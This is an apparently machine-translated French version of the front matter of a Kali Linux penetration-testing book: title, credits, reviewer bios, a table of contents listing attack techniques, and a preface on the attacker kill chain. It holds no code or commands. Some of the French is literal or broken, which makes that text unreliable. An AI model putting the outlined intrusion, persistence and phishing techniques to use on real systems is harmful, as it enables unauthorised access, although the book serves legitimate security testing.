31 1 2MB
Page 1 Page 2
Maîtriser Kali Linux pour Tests de pénétration avancés Un guide pratique pour tester la sécurité de votre réseau avec Kali Linux, le choix préféré des testeurs d'intrusion et les pirates Robert W. Beggs BIRMINGHAM - MUMBAI
Page 3
Maîtriser Kali Linux pour les tests de pénétration avancés Copyright © 2014 Éditions Packt Tous les droits sont réservés. Aucune partie de ce livre ne peut être reproduite, stockée dans un système, ou transmis sous quelque forme ou par quelque moyen que ce soit, sans l'autorisation écrite préalable l'autorisation de l'éditeur, sauf en cas de brèves citations insérées dans articles ou critiques critiques. Tous les efforts ont été faits dans la préparation de ce livre pour assurer l'exactitude des informations présentées. Cependant, les informations contenues dans ce livre sont vendu sans garantie, expresse ou implicite. Ni l'auteur, ni Packt Publishing, et ses revendeurs et distributeurs seront tenus responsables de tout dommage causé ou allégué être causé directement ou indirectement par ce livre. Packt Publishing s'est efforcé de fournir des informations sur les marques sur tous les entreprises et produits mentionnés dans ce livre par l'utilisation appropriée des majuscules.
Cependant, Packt Publishing ne peut garantir l'exactitude de ces informations. Première publication : juin 2014 Référence de fabrication : 1160614 Publié par Packt Publishing Ltd. Lieu de la livrée 35 rue de la livrée Birmingham B3 2PB, Royaume-Uni. ISBN 978-1-78216-312-1 www.packtpub.com Image de couverture par Robert W. Beggs ( [email protected] )
Crédits Auteur Robert W. Beggs Réviseurs Terry P. Cutler Danang Heriyadi Tajinder Singh Kalsi Amit Pandurang Karpe Ashish Pandurang Karpe Kunal Sehgal Éditeur d'acquisitions James Jones Éditeur de développement de contenu Amey Varangaonkar Rédacteurs techniques Pragnesh Bilimoria Monsieur Chavan Aparna Kumar Pooja Nair Coordinateur de projet Akash Poojary
Page 4
Éditeurs de copie Tanvi Gaitonde Dipti Kapadia Insiya Morbiwala Kirti Pai Alfida Paiva Stuti Srivastava Relecteurs Simran Bhogal Mario Cecere Joël Johnson Indexeurs Hemangini Bari Monica Ajmera Mehta Graphique Ronak Dhruv Coordonnateurs de production Pooja Chiplunkar Manu Joseph Travail de couverture Pooja Chiplunkar Page 5
A propos de l'auteur Robert W. Beggs est le fondateur et PDG de Digital Defence, une entreprise qui se spécialise dans la prévention et la réponse aux incidents de sécurité de l'information. Il a plus de 15 ans d'expérience dans la direction technique de la sécurité engagements, y compris les tests de pénétration des réseaux filaires et sans fil, réponse aux incidents et analyse des données. Robert est un fervent évangéliste de la sécurité et cofondateur de Toronto Area Security
Klatch, le plus grand groupe d'utilisateurs de sécurité indépendant des fournisseurs connus en Amérique du Nord. Il est membre du conseil consultatif de la SecTor Security Conference ainsi que sur plusieurs programmes universitaires de sécurité. Il est un formateur enthousiaste en sécurité et a enseigné des cours aux diplômés, aux étudiants de premier cycle et aux étudiants en formation continue en sécurité de l'information dans plusieurs universités canadiennes. Robert est titulaire d'un MBA en sciences et technologie de l'Université Queen's et est un professionnel certifié de la sécurité des systèmes d'information. Tout d'abord, et c'est peut-être le plus important, je voudrais remercier le développeurs et supporters de Kali Linux. Ensemble, ils ont produit l'un des outils les plus importants pour sécuriser les réseaux et données. Je tiens à remercier les éditeurs et les relecteurs de Packt Publication pour leur soutien et leur patience apparemment sans fin pendant l'écriture de ce livre. Je te promets que le prochain ira plus vite ! Je tiens également à remercier Brian Bourne et les autres membres de le Klatch de sécurité de la région de Toronto. Ils m'ont donné un incroyable l'opportunité d'apprendre et de partager des connaissances avec les meilleurs communauté de geeks de la sécurité. Tout au long de l'écriture de ce livre, ma famille m'a donné à la fois une motivation et un soutien incroyables. Merci Sarah, Alex et Annika.
Et enfin, un merci tout spécial à ma mère et à mon père—je ne peux pas rappelez-vous quand j'ai appris à lire pour la première fois avec vos encouragements, il était toujours naturel d'avoir un livre entre les mains. Merci. Page 6
À propos des évaluateurs Terry P. Cutler est un expert en cybersécurité (un hacker éthique certifié) et le cofondateur et directeur de la technologie de la société de sécurité informatique et de défense des données, Digital Serruriers Inc. à Montréal, Canada. Ils protègent les petites entreprises, les grandes agences, les familles et les individus de cybercriminels qui victimisent environ 1,5 millions de personnes par jour (600 000 rien que sur Facebook). Il est spécialisé dans l'anticipation, l'évaluation et la prévention des atteintes à la sécurité des les gouvernements, les entreprises, les entreprises et les consommateurs. Ayant été certifié hacker éthique, entre autres depuis 2005, il a eu l'occasion de présenter dans devant un public en direct de 2500 personnes et avec des dizaines de milliers à travers le monde, sur le streaming en direct et enregistré, comment un pirate informatique pourrait s'introduire dans presque n'importe quelle entreprise avec une fausse demande LinkedIn. Vous pouvez voir cette vidéo sur sa chaîne YouTube. Terry a assuré la sécurité Internet pour les enfants, les parents et la loi application de la loi depuis 2006. Il croit que la prévention, la protection des rues et
communication parent-enfant sont les moyens les plus efficaces pour empêcher un enfant de être enlevé ou victime d'agression et d'exploitation. Donner aux enfants les connaissances et les compétences pratiques dont ils ont besoin pour s'occuper d'eux-mêmes sont aussi important que de leur apprendre à lire et à écrire. Vous pouvez en savoir plus à ce sujet sur http://www.TheCourseOnInternetSafety.com . Il contribue fréquemment aux reportages des médias sur la cybercriminalité, l'espionnage, la sécurité les échecs, les escroqueries sur Internet et les véritables dangers des réseaux sociaux que les familles et les les individus sont confrontés au quotidien. Il est reconnu comme un leader transformationnel, résolveur de problèmes et conseiller de confiance doté d'un véritable talent pour favoriser et des relations de travail collaboratives à tous les niveaux de l'organisation. Page 7 Avant de quitter son emploi en 2011 pour se concentrer à temps plein sur les serruriers numériques, Terry a travaillé pour un géant du logiciel, Novell. Il a rejoint cette société mondiale de logiciels qui se spécialise dans les systèmes d'exploitation d'entreprise et l'identité, la sécurité et les systèmes solutions de gestion pour fournir un support d'ingénierie à la prime de l'entreprise clients de service comprenant jusqu'à 45 000 utilisateurs et 600 serveurs dans le monde entier. J'aimerais prendre un moment pour remercier Robert W. Beggs d'avoir généreusement me prenant sous son aile en tant que mentor en 2004 et guidant
moi à travers les processus et les pièges du travail dans cette industrie. Maintenant que j'ai mûri en tant que spécialiste de l'industrie, je suis honoré d'être capable de partager certains de mes propres apprentissages et expériences avec Rob et avec ses lecteurs. Un merci tout spécial à ma famille, ma femme Franca et nos fils, David et Matthieu, pour leur soutien, leurs encouragements, leur patience, des câlins et un amour inconditionnel au cours des dernières années. Danang Heriyadi est un chercheur indonésien en sécurité informatique, spécialisé en rétro-ingénierie et exploitation de logiciels avec plus de cinq ans d'expérience expérience pratique. Il travaille actuellement chez Hatsecure en tant qu'instructeur pour Advanced Exploit et Développement de shellcode. En tant que chercheur, il aime partager ses connaissances en sécurité informatique via son blog sur Fuzzerbyte ( http://www.fuzzerbyte.com ). Je voudrais remercier mes parents de m'avoir donné la vie; sans eux, Je ne serais pas ici aujourd'hui ; ma petite amie, pour m'avoir soutenu chaque jour avec son sourire et de l'amour; et mes amis, que je n'ai pas de mots décrire.
Tajinder Singh Kalsi est le cofondateur et un évangéliste technique chez Virscent Technologies Pvt. Ltd., avec plus de six ans d'expérience professionnelle dans le domaine
Page 8
de l'informatique. Il a commencé sa carrière chez Wipro en tant qu'associé technique et est devenu plus tard consultant et formateur en informatique. À l'heure actuelle, il anime des séminaires dans des collèges à travers Inde sur des sujets tels que la sécurité de l'information, le développement d'applications Android, développement de sites Web et cloud computing. À ce stade, il a couvert plus de 120 collèges et plus de 9 000 étudiants. Outre la formation, il a également tient un blog ( www.virscent.com/blog ), qui explique diverses astuces de piratage. Il a déjà passé en revue les tests d'intrusion Web avec Kali Linux , Joseph Muniz et Aamir Lakhani , Éditions Packt . Il peut être trouvé sur Facebook à www.facebook.com/tajinder.kalsi.tj ou vous pouvez le suivre sur son site Internet www.tajinderkalsi.com . Je tiens à remercier l'équipe de Packt Publishing d'avoir approché moi à travers mon blog et m'offrir à nouveau cette opportunité. J'aimerais aussi remercier ma famille et mes amis proches pour tout le soutien qu'ils ont donné pendant que je travaillais sur ce projet. Amit Pandurang Karpe travaille pour FireEye, Inc., une société mondiale de sécurité de l'information entreprise, en tant qu'ingénieur de support pour leurs clients en Asie-Pacifique. Il reste à Singapour avec sa femme, Swatee, et son fils, Sparsh. Il a été actif en plein air communauté source de ses années d'université, en particulier à Pune, où il a pu organiser diverses activités avec l'aide de communautés dynamiques et prospères, telles que
comme PLUG, TechPune, IT-Milan et Embedded Nirvana. Il écrit des articles de blog sur technologies sur http://www.amitkarpe.com . Il a travaillé sur le prototypage rapide de BeagleBoard avec MATLAB et Simulink , Dr Xuewu Dai et Dr Fei Qin , Packt Publishing . Actuellement, il travaille sur la construction Laboratoires virtuels de pentest pour les tests d'intrusion avancés , Kevin Cardwell et Kali Linux CTF Blueprints , Cam Buchanan , tous deux par Packt Publishing. Je tiens à remercier la communauté open source, sans qui Je n'aurais pas pu réussir. Un merci spécial aux visionnaires derrière Kali Linux, qui croyait en l'open source et a dirigé en fournissant divers exemples. Merci également aux membres de la communauté et des experts en sécurité de l'information, qui continuent à faire un excellent travail, qui fait de Kali Linux un succès. Page 9 Je tiens à remercier l'équipe Packt Publishing, les éditeurs et le coordinateur de projet, qui a continué à faire les bonnes choses pour que je sois capable d'accomplir mon travail au mieux de mes capacités. Je tiens à remercier Pune Linux Users Group (PLUG), Embedded groupe Nirvana, et amis VSS, grâce à qui j'ai pu travailler sur ce projet. Je tiens également à remercier tous mes gourous, qui m'a aidé et guidé dans ce domaine—Dr. Vijay Gokhale, Sunil Dhadve, Sudhanwa Jogalekar, Bharathi Subramanian, Mohammed Khasim et Niyam Bhushan. Enfin, je tiens à remercier ma famille, ma mère, mon père, mon frère, mon fils et ma femme, Swatee, sans lesquels
soutien, je n'aurais pas pu donner le meilleur de moi-même à ce projet. Ashish Pandurang Karpe travaille en tant qu'associé de support système avec CompuCom-CSI Systems Inde Pvt. Ltd. Il a été actif dans l'open source communauté depuis ses années de collège, où il a pu organiser diverses activités avec l'aide de communautés dynamiques et prospères telles que PLUG et VITLUG. Je tiens tout d'abord à remercier la communauté open source, sans dont l'aide, je n'aurais pas pu être ici. J'aimerais remercier ma famille, c'est-à-dire Anuradha (mère), Pandurang (père), Sparsh (neveu), Amit (frère) et Swatee (belle-sœur). je tiens à remercier l'équipe Packt Publishing, les éditeurs et le projet coordinateur qui a continué à faire les bonnes choses pour que je puisse effectuer mon travail au mieux de mes capacités. Je voudrais remercier Pune GNU/Linux Users Group (PLUG). J'aimerais aussi remercier mon gourou, qui m'a aidé et guidé dans cette champ Dr. Vijay Gokhale. Page 10
Kunal Sehgal fait partie de l'industrie de la sécurité informatique depuis 2006 après spécialisé dans la sécurité du cyberespace du Georgian College, Canada. Il a été associés à divers organismes financiers. Cela l'a non seulement doté une expérience dans un lieu où la sécurité est cruciale, mais qui lui a également permis de
expertise précieuse dans ce domaine. Il peut être contacté sur KunSeh.com . Kunal dirige actuellement les opérations de sécurité informatique pour la région APAC de l'un des plus grandes banques européennes. Il a accumulé de l'expérience dans diverses fonctions, allant de l'évaluation de la vulnérabilité à la gouvernance de la sécurité et du risque évaluation à la surveillance de la sécurité. Un croyant de se tenir au courant de la derniers événements dans son domaine, il contribue à des livres, organise des ateliers et écrit blogs, tous pour promouvoir la sécurité. Il détient également un certain nombre de certifications à son nom, y compris le propre OSCP de Backtrack, et d'autres tels que CISSP, TCNA, CISM, CCSK, Security+, Cisco Router Security, ISO 27001 LA et ITIL. Je suis un grand partisan du projet Backtrack (maintenant Kali), et d'abord et avant tout, je tiens à remercier leur équipe de base. Plus précisément, je remercie les muts ; sans sa formation et son attention personnelle, je ne peux pas ont pu s'y accrocher. Sur le plan personnel, je remercie ma famille aimante (parents, frère et femme) pour leur interminable soutien et confiance en moi. Je les ai négligés, plus que j'aime à admettre, juste pour passer du temps dans le cyber-monde. Page 11
www.PacktPub.com Fichiers de support, eBooks, offres de réduction, et plus Vous pouvez visiter www.PacktPub.com pour les fichiers de support et les téléchargements liés à
ton livre. Saviez-vous que Packt propose des versions eBook de chaque livre publié, avec PDF et Fichiers ePub disponibles ? Vous pouvez passer à la version eBook sur www.PacktPub.com et en tant que client de livres imprimés, vous avez droit à une réduction sur la copie électronique. Entrer en contact avec nous à [email protected] pour plus de détails. Sur www.PacktPub.com, vous pouvez également lire une collection d'articles techniques gratuits, vous inscrire pour une gamme de newsletters gratuites et recevez des remises et des offres exclusives sur les livres Packt et des livres électroniques. MT http://PacktLib.PacktPub.com Avez-vous besoin de solutions instantanées à vos questions informatiques ? PacktLib est la plateforme numérique en ligne de Packt bibliothèque de livres. Ici, vous pouvez accéder, lire et rechercher dans toute la bibliothèque de livres de Packt. Pourquoi s'abonner ? • Entièrement consultable dans tous les livres publiés par Packt • Copiez et collez, imprimez et marquez le contenu • À la demande et accessible via un navigateur Web Accès gratuit pour les titulaires de compte Packt Si vous avez un compte avec Packt sur www.PacktPub.com, vous pouvez l'utiliser pour accéder PacktLib aujourd'hui et consultez neuf livres entièrement gratuits. Utilisez simplement vos identifiants de connexion pour accès immédiat.
Table des matières Préface 1
Page 12
Partie 1 : La chaîne de mise à mort de l'attaquant Chapitre 1 : Démarrer avec Kali Linux 15 Kali Linux 15 Configuration des services réseau et des communications sécurisées 18 Ajuster les paramètres du proxy réseau 20 Sécurisation des communications avec Secure Shell 21 Mise à jour de Kali Linux 23 Le système de gestion de paquets Debian 23 Paquets et référentiels 23 Dpkg 24 Utilisation d'outils d'empaquetage avancés 24 Configuration et personnalisation de Kali Linux 25 Réinitialiser le mot de passe root 26 Ajouter un utilisateur non root 26 Accélérer les opérations de Kali 26 Partage de dossiers avec Microsoft Windows 28 Créer un dossier crypté avec TrueCrypt 30 Gestion des applications tierces
35 Installation d'applications tierces 35 Exécution d'applications tierces avec des privilèges non root 37 Gestion efficace des tests d'intrusion 38 Sommaire 40 Page 13
Table des matières [ ii ] Chapitre 2 : Identification de la cible – Reconnaissance passive 43 Principes de base de la reconnaissance 44 Intelligence libre 45 Reconnaissance DNS et cartographie des routes 47 QUI EST 48 Reconnaissance DNS 50 IPv4 51 IPv6 53 Cartographie de l'itinéraire vers la cible 54 Obtention d'informations sur l'utilisateur 57 Collecte de noms et d'adresses e-mail 58
Profilage des utilisateurs pour les listes de mots de passe 61 Sommaire 63 Chapitre 3 : Reconnaissance active et analyse des vulnérabilités 65 Stratégies de balayage furtif 66 Réglage de la pile IP source et des paramètres d'identification de l'outil 66 Modification des paramètres de paquet 68 Utilisation de proxys avec des réseaux d'anonymat (Tor et Privoxy) 69 Identification de l'infrastructure réseau 73 Énumération des hôtes 75 Découverte d'hôte en direct 75 Découverte de ports, de systèmes d'exploitation et de services 76 Analyse des ports 76 Empreinte digitale du système d'exploitation 77 Détermination des services actifs 79 Utilisation d'applications de reconnaissance complètes 80 nmap
81 Le cadre de reconnaissance 82 Maltego 85 Analyse des vulnérabilités 88 Sommaire 89 Chapitre 4 : Exploiter 91 Modélisation des menaces 92 Utilisation des ressources de vulnérabilité en ligne et locales 93 Le cadre Metasploit 98 Exploiter une application vulnérable 103 Exploiter plusieurs cibles avec Armitage 105 Tests en équipe avec Armitage 107 Script de l'attaque d'Armitage 108 Identifiants de contournement et détection antivirus 110 Sommaire 118
Table des matières [ iii ] Chapitre 5 : Post Exploit – Action sur l'objectif 119
Page 14
Contourner le contrôle de compte d'utilisateur Windows 120 Effectuer une reconnaissance rapide d'un système compromis 122 Utilisation du langage de script WMIC 125 Trouver et prendre des données sensibles – piller la cible 129 Création de comptes supplémentaires 133 Utiliser Metasploit pour les activités post-exploit 134 Escalade des privilèges utilisateur sur un hôte compromis 139 Rejouer les jetons d'authentification à l'aide de la navigation privée 140 Manipulation des informations d'identification d'accès avec Windows Credential Editor 142 Escalade d'administrateur à SYSTÈME 143 Accès aux nouveaux comptes avec escalade horizontale 143 Couvrir vos traces 144 Sommaire 147 Chapitre 6 : Post Exploit – Persistance 149 Compromission du système existant et des fichiers d'application pour accès à distance 150 Activation à distance du service Telnet
150 Activation à distance des services Windows Terminal Server 152 Activation à distance de Virtual Network Computing 154 Utilisation d'agents persistants 155 Utiliser Netcat en tant qu'agent persistant 155 Maintenir la persistance avec le framework Metasploit 159 Utilisation du script metsvc 159 Utilisation du script de persistance 161 Créer un agent persistant autonome avec Metasploit 163 Rediriger les ports pour contourner les contrôles réseau 165 Exemple 1 – redirection de port simple 166 Exemple 2 – redirection de port bidirectionnel 167 Sommaire 168 Partie 2 : La phase de livraison Chapitre 7 : Attaques physiques et ingénierie sociale 171 Boîte à outils d'ingénierie sociale 172 Attaque de harponnage 176 Utilisation d'un vecteur d'attaque de site Web - Méthode d'attaque d'applet Java 181
Utilisation d'un vecteur d'attaque de site Web - Méthode d'attaque Credential Harvester 186 Utilisation d'un vecteur d'attaque de site Web - Méthode d'attaque Tabnabbing 188 Utilisation d'un vecteur d'attaque de site Web - Méthode Web multi-attaques 190 Page 15
Table des matières [ iv ] Utilisation de l'attaque par injection de shellcode alphanumérique PowerShell 190 Cacher les exécutables et obscurcir l'URL de l'attaquant 192 Escalade d'une attaque à l'aide de la redirection DNS 194 Accès physique et appareils hostiles 197 Vecteurs d'attaque Raspberry Pi 200 Sommaire 202 Chapitre 8 : Exploiter les communications sans fil 203 Configuration de Kali pour les attaques sans fil 204 Reconnaissance sans fil 204 Kismet 207
Contournement d'un identificateur d'ensemble de services caché 209 Contourner l'authentification par adresse MAC 211 Compromettre un cryptage WEP 213 Attaquer WPA et WPA2 219 Attaques par force brute 219 Attaquer les routeurs sans fil avec Reaver 223 Cloner un point d'accès 224 Attaques par déni de service 225 Sommaire 227 Chapitre 9 : Reconnaissance et exploitation d'applications Web 229 Effectuer la reconnaissance des sites Web 230 Analyseurs de vulnérabilité 236 Extension des fonctionnalités des scanners de vulnérabilité traditionnels 237 Extension des fonctionnalités des navigateurs Web 238 Scanners de vulnérabilités spécifiques aux services Web 240 Tester la sécurité avec des proxys côté client 243
Exploits de serveur 250 Attaques spécifiques aux applications 251 Identifiants d'accès par force brute 251 Attaques par injection contre des bases de données 252 Maintien de l'accès avec des portes dérobées Web 254 Sommaire 256 Chapitre 10 : Exploitation des communications d'accès à distance 257 Exploiter les protocoles de communication du système d'exploitation 258 Compromettre le protocole de bureau à distance 258 Compromis Secure Shell 262 Exploitation d'applications d'accès à distance tierces 264 Page 16
Table des matières [v] Attaquer la couche de sockets sécurisés 266 Configuration de Kali pour l'analyse SSLv2 267 Reconnaissance des connexions SSL 269 Utiliser sslstrip pour mener une attaque man-in-the-middle
275 Attaques par déni de service contre SSL 277 Attaquer un réseau privé virtuel IPSec 278 Recherche de passerelles VPN 279 Empreinte digitale de la passerelle VPN 280 Capture de clés pré-partagées 282 Effectuer un cracking PSK hors ligne 282 Identification des comptes d'utilisateurs par défaut 283 Sommaire 283 Chapitre 11 : Exploitation côté client 285 Attaquer un système à l'aide de scripts hostiles 286 Mener des attaques à l'aide de VBScript 286 Attaquer des systèmes à l'aide de Windows PowerShell 289 Le framework de script inter-sites 291 Le cadre d'exploitation Brower – BeEF 299 Installation et configuration du Browser Exploitation Framework 300 Présentation du navigateur BeEF 303 Intégration des attaques BeEF et Metasploit
308 Utiliser BeEF comme proxy de tunneling 309 Sommaire 311 Annexe : Installation de Kali Linux 313 Téléchargement de Kali Linux 313 Installation de base de Kali Linux 314 Installer Kali Linux sur une machine virtuelle 315 Chiffrement complet du disque et nuking de la clé principale 316 Mise en place d'un environnement de test 321 Systèmes d'exploitation et applications vulnérables 322 Indice 327 Page 17 Page 18
Préface Ce livre est dédié à l'utilisation de Kali Linux dans la réalisation de tests d'intrusion contre les réseaux. Un test d'intrusion simule une attaque contre un réseau ou un système par un étranger ou un initié malveillant. Contrairement à une évaluation de la vulnérabilité, les tests d'intrusion sont conçus pour inclure la phase d'exploitation. Par conséquent, il prouve
que l'exploit est présent, et qu'il s'accompagne du risque bien réel d'être compromis s'il n'est pas suivi. Tout au long de ce livre, nous ferons référence à des "testeurs de pénétration", « attaquants » et « hackers » indifféremment car ils utilisent le même techniques et outils pour évaluer la sécurité des réseaux et systèmes de données. La seule différence entre eux est leur fin objectif : un réseau de données sécurisé ou une violation de données. La plupart des testeurs et des attaquants suivent une approche informelle, open source ou propriétaire méthodologie de test qui guide le processus de test. Il y a certains avantages de suivant une méthodologie : • Une méthodologie identifie les parties du processus de test qui peuvent être automatisées (par exemple, un testeur peut toujours utiliser un balayage ping pour identifier les potentiels cibles; par conséquent, cela peut être scripté), permettant au testeur de se concentrer sur techniques créatives pour trouver et exploiter les vulnérabilités • Les résultats sont reproductibles, ce qui permet de les comparer dans le temps ou de contre-valider les résultats d'un testeur par rapport à un autre, ou pour déterminer comment le la sécurité de la cible s'est améliorée (ou pas !) au fil du temps • Une méthodologie définie est prévisible en termes de temps et de personnel exigences, permettant de contrôler et de minimiser les coûts • Une méthodologie pré-approuvée par le client, protège le testeur contre la responsabilité en cas de dommages au réseau ou aux données
Page 19
Préface [2] Les méthodologies formelles comprennent les exemples bien connus suivants : • Le framework de tests d'intrusion de Kevin Orrey : cette méthodologie marche le testeur à travers les étapes séquencées d'un test d'intrusion, fournissant des hyperliens vers des outils et des commandes pertinentes. Plus d'informations peuvent être trouvées sur www.vulnerabilityassessment.co.uk . • Cadre d'évaluation de la sécurité des systèmes d'information (ISSAF) : Ce guide complet vise à être la source unique pour tester un réseau. Vous trouverez plus d'informations à ce sujet sur www.oissg.org . • NIST SP 800-115, guide technique pour les tests de sécurité de l'information et évaluation : Rédigée en 2008, la méthodologie en quatre étapes est quelque peu dépassé. Cependant, il donne un bon aperçu des étapes de base dans tests de pénétration. Vous pouvez obtenir plus d'informations sur http://csrc.nist. gov/publications/nistpubs/800-115/SP800-115.pdf . • Manuel de méthodologie de test de sécurité Open Source (OSSTMM) : Il s'agit de l'une des méthodologies les plus anciennes, et la dernière version tente de quantifier les risques identifiés. Plus de détails peuvent être trouvés sur www.osstmm.org .
• Open Web Application Security Project (OWASP) : il est axé sur le 10 vulnérabilités les plus courantes dans les applications Web. Suite des informations à ce sujet sont disponibles sur www.owasp.org . • Norme d'exécution des tests d'intrusion (PTES) : activement maintenue, cette méthodologie est complète et reflète fidèlement les activités d'une personne malveillante. Vous pouvez obtenir plus d'informations sur www.pentest-standard.org . • Cadre de test offensif (Web) (OWTF) : introduit en 2012, il s'agit d'un direction très prometteuse en combinant l'approche OWASP avec la plus méthodologie PTES complète et rigoureuse. Plus de détails peuvent être trouvés à https://github.com/7a/owtf . Malheureusement, l'utilisation d'une méthodologie structurée peut introduire des faiblesses dans le processus de test : • Les méthodologies tiennent rarement compte de la raison pour laquelle un test d'intrusion est entrepris, ou quelles données sont essentielles à l'entreprise et doivent être protégées. En l'absence de cette première étape vitale, les tests d'intrusion perdent leur concentration. • De nombreux testeurs d'intrusion sont réticents à suivre une méthodologie définie, craignant que cela n'entrave leur créativité dans l'exploitation d'un réseau. Page 20
Préface [3] • Les tests de pénétration ne reflètent pas les activités réelles d'un attaquant malveillant. Souvent, le client veut voir si vous pouvez obtenir un accès administrateur sur un système particulier ("Pouvez-vous rooter la box ?"). Cependant, l'agresseur peut se concentrer sur la copie des données critiques d'une manière qui ne nécessite pas de racine l'accès ou provoquer un déni de service. Pour remédier aux limites inhérentes aux méthodologies de test formelles, elles doivent être intégré dans un cadre qui considère le réseau du point de vue d'un attaquant, la "chaîne de destruction". L'approche « Kill Chain » pour tests de pénétration En 2009, Mike Cloppert de Lockheed Martin CERT a introduit le concept qui est maintenant connue sous le nom de « chaîne de destruction des attaquants ». Cela comprend les mesures prises par un adversaire lorsqu'ils attaquent un réseau. Il ne se déroule pas toujours dans un flux linéaire car certaines étapes peuvent se dérouler en parallèle. Plusieurs attaques peuvent être lancées au fil du temps au même cible, et des étapes qui se chevauchent peuvent se produire en même temps. Dans ce livre, nous avons modifié la chaîne de destruction de Cloppert pour refléter plus précisément sur la façon dont les attaquants appliquent ces étapes lorsqu'ils exploitent des réseaux et des services de données. Le schéma suivant montre une kill chain typique d'un attaquant :
Exploit Phase de livraison ?? Passif (indirect) ?? Actif (direct) Reconnaissance ?? Agir sur le objectif ?? Persistance Post-exploiter Page 21
Préface [4] Une chaîne de destruction typique d'un attaquant peut être décrite comme suit : • Phase de reconnaissance - L'adage, "le temps de reconnaissance n'est jamais perdu temps", adopté par la plupart des organisations militaires reconnaît qu'il vaut mieux d'apprendre autant que possible sur un ennemi avant de les engager. Pour le même raison, les attaquants effectueront une reconnaissance approfondie d'une cible avant d'attaquer. En fait, on estime qu'au moins 70 pour cent du « travail effort" d'un test d'intrusion ou d'une attaque est consacré à la reconnaissance ! Généralement, ils emploieront deux types de reconnaissance : ° Reconnaissance passive - Cela n'interagit pas directement avec le
cible de manière hostile. Par exemple, l'attaquant examinera le ou les sites Web accessibles au public, évaluer les médias en ligne (en particulier sites de médias sociaux) et tenter de déterminer la "surface d'attaque" de la cible. Une tâche particulière consistera à générer une liste des données passées et actuelles noms des employés. Ces noms formeront la base des tentatives à la force brute ou à deviner des mots de passe. Ils seront également utilisés dans les attaques d'ingénierie sociale. Ce type de reconnaissance est difficile, voire impossible, distinguer du comportement des utilisateurs réguliers. ° Reconnaissance active - Ceci peut être détecté par la cible mais, il peut être difficile de distinguer les visages de la plupart des organisations en ligne des milieux réguliers. Les activités qui se produisent pendant la reconnaissance active comprennent visites physiques dans les locaux cibles, analyse des ports et à distance analyse des vulnérabilités. • La phase de livraison – La livraison est la sélection et le développement de l'arme qui sera utilisée pour terminer l'exploit lors de l'attaque. L'arme exacte choisie dépendra de l'attaquant est l'intention aussi bien comme voie de livraison (par exemple, à travers le réseau, via sans fil, ou via un service Web). L'impact de la phase de livraison est être examiné dans la seconde moitié de ce livre. Page 22
Préface [5] • La phase d'exploitation ou de compromission – C'est le moment où un exploit est appliqué avec succès, permettant aux attaquants d'atteindre leur objectif. Le compromis peut se produire en une seule phase (par exemple, un connu la vulnérabilité du système d'exploitation a été exploitée au moyen d'un débordement de tampon), ou il peut s'agir d'un compromis en plusieurs phases (par exemple, un attaquant des locaux physiquement accessibles pour voler un annuaire téléphonique d'entreprise. Les noms ont été utilisés pour créer des listes d'attaques par force brute contre une connexion au portail. Dans De plus, des e-mails ont été envoyés à tous les employés pour cliquer sur un lien intégré à télécharger un fichier PDF conçu qui a compromis leurs ordinateurs.). Multiphase les attaques sont la norme lorsqu'un attaquant malveillant cible une entreprise spécifique. • Post exploit : action sur l'objectif – Ceci est fréquemment, et à tort, appelée la « phase exfiltration », car l'accent est mis sur la perception attaques uniquement comme moyen de voler des données sensibles (telles que les informations de connexion, informations personnelles et informations financières) ; il est courant pour un attaquant avoir un objectif différent. Par exemple, une entreprise peut souhaiter provoquer un déni de service dans le réseau de leur concurrent pour attirer les clients vers leur
propre site Web. Par conséquent, cette phase doit se concentrer sur les nombreuses actions possibles d'un agresseur. L'un des plus commun se produit lorsque l'activité exploit, les attaquants tenter d'améliorer leurs privilèges d'accès au plus haut niveau possible (escalade verticale), et de compromettre autant de comptes que possible (escalade horizontale). • Post exploit : persistance – S'il est utile de compromettre un réseau ou système, cette valeur peut probablement être augmentée s'il y a un accès permanent. Cela permet aux attaquants de maintenir les communications avec un système. Du point de vue d'un défenseur, c'est la partie de la chaîne de destruction qui est généralement le plus facile à détecter. Les chaînes de mise à mort sont des métamodèles du comportement d'un attaquant lorsqu'il tente de compromettre un réseau ou un système de données particulier. En tant que métamodèle, il peut intégrer tout méthodologie de test d'intrusion propriétaire ou commerciale. Contrairement aux méthodologies, cependant, il garantit une focalisation au niveau stratégique sur la façon dont un attaquant approche le réseau. Cette focalisation sur les activités de l'attaquant guidera la mise en page et le contenu de ce livre.
Préface [6] Ce que couvre ce livre
Page 23
Ce livre est divisé en deux parties. Dans la partie 1 , The Attacker's Kill Chain , nous suivrons les étapes d'une kill chain, en analysant chaque phase en détail. Dans la partie 2 , La phase de livraison , nous allons nous concentrer sur la phase de livraison et certaines des méthodes disponibles comprendre comment se déroulent les attaques et comment ces connaissances peuvent être utilisées pour sécuriser un réseau. Le chapitre 1 , À partir de Kali Linux , présente au lecteur les principes fondamentaux de Kali Linux et sa configuration optimale pour prendre en charge les tests d'intrusion. Le chapitre 2 , Identification de la cible – Reconnaissance passive , fournit un comment recueillir des informations sur une cible en utilisant des sources accessibles au public, et la des outils qui peuvent simplifier la reconnaissance et gestion de l'information. Le chapitre 3 , Active Reconnaissance and Vulnerability Scanning , présente au lecteur approches furtives qui peuvent être utilisées pour obtenir des informations sur la cible, en particulier les informations qui identifient les vulnérabilités qui pourraient être exploitées. Le chapitre 4 , Exploit , montre les méthodologies qui peuvent être utilisées pour trouver et exécuter des exploits qui permettent à un système d'être compromis par un attaquant. Le chapitre 5 , Post Exploit – Action on the Objective , décrit comment les attaquants peuvent élever leurs privilèges pour atteindre leur objectif de compromettre le système, y compris le vol de données, modification des données, lancer des attaques supplémentaires ou la création d'un
déni de service. Le chapitre 6 , Post Exploit – Persistence , fournit un arrière-plan sur la façon de configurer un système compromis afin que l'attaquant puisse revenir à volonté et continuer activités post-exploitation. Le chapitre 7, Attaques physiques et ingénierie sociale , montre pourquoi être capable de accéder physiquement à un système ou interagir avec les humains qui le gèrent fournit la voie d'exploitation la plus réussie. Le chapitre 8 , Exploitation des communications sans fil , montre comment tirer parti des connexions sans fil communes aux réseaux de données d'accès et des systèmes isolés. Le chapitre 9 , Reconnaissance et exploitation des applications Web , fournit un bref aperçu de l'une des phases de livraison les plus complexes à sécuriser : applications qui sont exposées à l'Internet public. Page 24
Préface [7] Le chapitre 10 , Exploitation des communications d' accès à distance , fournit de plus en plus voie importante dans les systèmes alors que de plus en plus d'organisations adoptent et les modèles de travail à domicile qui reposent sur des communications d'accès à distance qui sont eux-mêmes vulnérables aux attaques. Le chapitre 11 , Exploitation côté client , se concentre sur les attaques contre les applications sur le les systèmes de l'utilisateur final, qui ne sont souvent pas protégés au même degré que le
